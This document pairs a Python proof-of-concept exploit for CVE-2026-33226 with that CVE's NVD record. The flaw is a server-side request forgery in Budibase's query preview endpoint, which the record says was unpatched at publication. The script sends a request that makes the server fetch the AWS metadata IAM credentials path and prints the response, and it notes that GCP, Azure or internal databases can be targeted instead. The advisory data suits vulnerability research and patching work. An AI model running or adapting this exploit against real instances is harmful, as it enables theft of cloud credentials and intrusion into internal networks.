CVE-2026-33226

import requests # Target URL of the vulnerable Budibase instance target_url = "http://vulnerable-budibase-instance.com/api/queries/preview" # Malicious URL pointing to AWS Metadata Service (Internal SSRF) # Can be changed to GCP/Azure metadata or internal database addresses ssrf_payload = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Headers with a valid Admin authentication token headers = { "Authorization": "Bearer <VALID_ADMIN_JWT_TOKEN>", "Content-Type": "application/json", "Accept": "application/json" } # JSON payload containing the malicious path data = { "fields": { "path": ssrf_payload }, "datasourceId": "<DATASOURCE_ID>", "queryId": "<QUERY_ID>" } try: # Sending the POST request to trigger the SSRF response = requests.post(target_url, json=data, headers=headers, timeout=10) # Checking if the request was successful if response.status_code == 200: print("[+] SSRF Exploit Successful!") print("[+] Response from internal service:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-33226", "sourceIdentifier": "[email protected]", "published": "2026-03-20T23:16:46.333", "lastModified": "2026-03-23T19:14:07.133", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Budibase is a low code platform for creating internal tools, workflows, and admin panels. In versions from 3.30.6 and prior, the REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration. At time of publication, there are no publicly available patches."}, {"lang": "es", "value": "Budibase es una plataforma de bajo código para crear herramientas internas, flujos de trabajo y paneles de administración. En versiones desde la 3.30.6 y anteriores, el endpoint de vista previa de consulta de fuente de datos REST (POST /api/queries/preview) realiza solicitudes HTTP del lado del servidor a cualquier URL proporcionada por el usuario en fields.path sin validación. Un administrador autenticado puede alcanzar servicios internos que no están expuestos a internet — incluyendo endpoints de metadatos en la nube (AWS/GCP/Azure), bases de datos internas, APIs de Kubernetes y otros pods en la red interna. En GCP esto conduce al robo de tokens OAuth2 con alcance 'cloud-platform' (acceso completo a GCP). En cualquier despliegue permite la enumeración completa de la red interna. En el momento de la publicación, no hay parches disponibles públicamente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:budibase:budibase:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.30.6", "matchCriteriaId": "52ADDDC4-29B8-41EF-9A96-C82854258816"}]}]}], "references": [{"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}